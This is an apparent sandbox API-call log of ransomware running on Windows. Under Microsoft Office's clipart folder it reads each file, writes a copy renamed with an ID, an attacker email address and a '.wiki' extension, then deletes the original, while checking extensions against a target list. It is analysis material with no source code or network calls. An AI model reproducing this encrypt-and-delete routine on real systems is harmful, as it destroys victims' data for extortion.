SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.487] SetEndOfFile (hFile=0x218) returned 1 [0195.488] CloseHandle (hObject=0x218) returned 1 [0195.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.488] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107526.wmf")) returned 1 [0195.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0195.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0195.488] lstrlenW (lpString=".doc") returned 4 [0195.488] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.488] lstrlenW (lpString=".docx") returned 5 [0195.488] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.488] lstrlenW (lpString=".pdf") returned 4 [0195.488] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.488] lstrlenW (lpString=".xls") returned 4 [0195.488] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.488] lstrlenW (lpString=".xlsx") returned 5 [0195.488] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.488] lstrlenW (lpString=".ppt") returned 4 [0195.488] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.488] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0195.489] lstrlenW (lpString=".zip") returned 4 [0195.489] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.489] lstrlenW (lpString=".rar") returned 4 [0195.489] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.489] lstrlenW (lpString=".bz2") returned 4 [0195.489] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.489] lstrlenW (lpString=".7z") returned 3 [0195.489] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0195.489] lstrlenW (lpString=".dbf") returned 4 [0195.489] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0195.489] lstrlenW (lpString=".1cd") returned 4 [0195.489] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0195.489] lstrlenW (lpString=".jpg") returned 4 [0195.489] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0195.489] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0195.489] lstrlenW (lpString=".doc") returned 4 [0195.489] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.489] lstrlenW (lpString=".docx") returned 5 [0195.489] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0195.489] lstrlenW (lpString=".pdf") returned 4 [0195.489] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.489] lstrlenW (lpString=".xls") returned 4 [0195.489] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.490] lstrlenW (lpString=".xlsx") returned 5 [0195.490] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0195.490] lstrlenW (lpString=".ppt") returned 4 [0195.490] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0195.490] lstrlenW (lpString=".zip") returned 4 [0195.490] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.490] lstrlenW (lpString=".rar") returned 4 [0195.490] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.490] lstrlenW (lpString=".bz2") returned 4 [0195.490] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.490] lstrlenW (lpString=".7z") returned 3 [0195.490] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0195.490] lstrlenW (lpString=".dbf") returned 4 [0195.490] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0195.490] lstrlenW (lpString=".1cd") returned 4 [0195.490] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.490] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107526.WMF") returned 63 [0195.490] lstrlenW (lpString=".jpg") returned 4 [0195.490] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.490] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.490] lstrlenW (lpString="J0107528.WMF") returned 12 [0195.490] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.491] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=6792) returned 1 [0195.491] CloseHandle (hObject=0x218) returned 1 [0195.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf")) returned 0x20 [0195.491] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.491] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.491] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.491] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.492] GetLastError () returned 0x0 [0195.492] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x1a88, lpOverlapped=0x0) returned 1 [0195.494] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x1a90, lpOverlapped=0x0) returned 1 [0195.495] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.495] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.495] SetEndOfFile (hFile=0x1e4) returned 1 [0195.495] CloseHandle (hObject=0x1e4) returned 1 [0195.495] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.495] SetEndOfFile (hFile=0x218) returned 1 [0195.496] CloseHandle (hObject=0x218) returned 1 [0195.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.496] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf")) returned 1 [0195.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0195.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0195.497] lstrlenW (lpString=".doc") returned 4 [0195.497] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.497] lstrlenW (lpString=".docx") returned 5 [0195.497] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.497] lstrlenW (lpString=".pdf") returned 4 [0195.497] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.497] lstrlenW (lpString=".xls") returned 4 [0195.497] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.497] lstrlenW (lpString=".xlsx") returned 5 [0195.497] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.497] lstrlenW (lpString=".ppt") returned 4 [0195.497] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0195.497] lstrlenW (lpString=".zip") returned 4 [0195.497] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.497] lstrlenW (lpString=".rar") returned 4 [0195.497] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.497] lstrlenW (lpString=".bz2") returned 4 [0195.497] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.497] lstrlenW (lpString=".7z") returned 3 [0195.497] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0195.497] lstrlenW (lpString=".dbf") returned 4 [0195.497] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.497] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0195.498] lstrlenW (lpString=".1cd") returned 4 [0195.498] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0195.498] lstrlenW (lpString=".jpg") returned 4 [0195.498] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0195.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0195.498] lstrlenW (lpString=".doc") returned 4 [0195.498] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.498] lstrlenW (lpString=".docx") returned 5 [0195.498] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0195.498] lstrlenW (lpString=".pdf") returned 4 [0195.498] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.498] lstrlenW (lpString=".xls") returned 4 [0195.498] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.498] lstrlenW (lpString=".xlsx") returned 5 [0195.498] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0195.498] lstrlenW (lpString=".ppt") returned 4 [0195.498] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.498] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0195.498] lstrlenW (lpString=".zip") returned 4 [0195.498] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.498] lstrlenW (lpString=".rar") returned 4 [0195.498] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.498] lstrlenW (lpString=".bz2") returned 4 [0195.498] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.498] lstrlenW (lpString=".7z") returned 3 [0195.498] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0195.499] lstrlenW (lpString=".dbf") returned 4 [0195.499] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0195.499] lstrlenW (lpString=".1cd") returned 4 [0195.499] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.499] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF") returned 63 [0195.499] lstrlenW (lpString=".jpg") returned 4 [0195.499] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.499] lstrcmpiW (lpString1=".WMF", lpString2=".wiki") returned 1 [0195.499] lstrlenW (lpString="J0107544.WMF") returned 12 [0195.499] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.499] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=26768) returned 1 [0195.500] CloseHandle (hObject=0x218) returned 1 [0195.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf")) returned 0x20 [0195.500] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.500] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.500] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.500] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.500] GetLastError () returned 0x0 [0195.758] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x6890, lpOverlapped=0x0) returned 1 [0195.760] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0x68a0, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0x68a0, lpOverlapped=0x0) returned 1 [0195.761] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.761] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.761] SetEndOfFile (hFile=0x1e4) returned 1 [0195.761] CloseHandle (hObject=0x1e4) returned 1 [0195.761] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.761] SetEndOfFile (hFile=0x218) returned 1 [0195.762] CloseHandle (hObject=0x218) returned 1 [0195.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.762] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf")) returned 1 [0195.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0195.762] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0195.762] lstrlenW (lpString=".doc") returned 4 [0195.762] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.762] lstrlenW (lpString=".docx") returned 5 [0195.762] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.763] lstrlenW (lpString=".pdf") returned 4 [0195.763] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.763] lstrlenW (lpString=".xls") returned 4 [0195.763] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.763] lstrlenW (lpString=".xlsx") returned 5 [0195.763] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.763] lstrlenW (lpString=".ppt") returned 4 [0195.763] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0195.763] lstrlenW (lpString=".zip") returned 4 [0195.763] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.763] lstrlenW (lpString=".rar") returned 4 [0195.763] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.763] lstrlenW (lpString=".bz2") returned 4 [0195.763] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.763] lstrlenW (lpString=".7z") returned 3 [0195.763] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0195.763] lstrlenW (lpString=".dbf") returned 4 [0195.763] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0195.763] lstrlenW (lpString=".1cd") returned 4 [0195.763] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0195.763] lstrlenW (lpString=".jpg") returned 4 [0195.763] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0195.763] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0195.763] lstrlenW (lpString=".doc") returned 4 [0195.763] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0195.764] lstrlenW (lpString=".docx") returned 5 [0195.764] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0195.764] lstrlenW (lpString=".pdf") returned 4 [0195.764] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0195.764] lstrlenW (lpString=".xls") returned 4 [0195.764] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0195.764] lstrlenW (lpString=".xlsx") returned 5 [0195.764] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0195.764] lstrlenW (lpString=".ppt") returned 4 [0195.764] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0195.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0195.764] lstrlenW (lpString=".zip") returned 4 [0195.764] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0195.764] lstrlenW (lpString=".rar") returned 4 [0195.764] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0195.764] lstrlenW (lpString=".bz2") returned 4 [0195.764] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0195.764] lstrlenW (lpString=".7z") returned 3 [0195.764] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0195.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0195.764] lstrlenW (lpString=".dbf") returned 4 [0195.764] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0195.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0195.764] lstrlenW (lpString=".1cd") returned 4 [0195.764] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0195.764] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF") returned 63 [0195.764] lstrlenW (lpString=".jpg") returned 4 [0195.764] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0195.764] lstrcmpiW (lpString1=".JPG", lpString2=".wiki") returned -1 [0195.765] lstrlenW (lpString="J0145272.JPG") returned 12 [0195.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.765] GetFileSizeEx (in: hFile=0x218, lpFileSize=0x2ecff1c | out: lpFileSize=0x2ecff1c*=49238) returned 1 [0195.765] CloseHandle (hObject=0x218) returned 1 [0195.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg")) returned 0x20 [0195.765] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0195.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x218 [0195.765] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.765] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e4 [0195.766] GetLastError () returned 0x0 [0195.766] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0xc056, lpOverlapped=0x0) returned 1 [0195.768] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xc060, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xc060, lpOverlapped=0x0) returned 1 [0195.770] ReadFile (in: hFile=0x218, lpBuffer=0x39e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ecfed4, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesRead=0x2ecfed4*=0x0, lpOverlapped=0x0) returned 1 [0195.770] WriteFile (in: hFile=0x1e4, lpBuffer=0x39e0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2ecfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39e0020*, lpNumberOfBytesWritten=0x2ecfc9c*=0xec, lpOverlapped=0x0) returned 1 [0195.770] SetEndOfFile (hFile=0x1e4) returned 1 [0195.771] CloseHandle (hObject=0x1e4) returned 1 [0195.771] SetFilePointerEx (in: hFile=0x218, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ecfec8 | out: lpNewFilePointer=0x0) returned 1 [0195.771] SetEndOfFile (hFile=0x218) returned 1 [0195.772] CloseHandle (hObject=0x218) returned 1 [0195.772] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x20) returned 1 [0195.772] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg")) returned 1 [0195.772] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG") returned 63 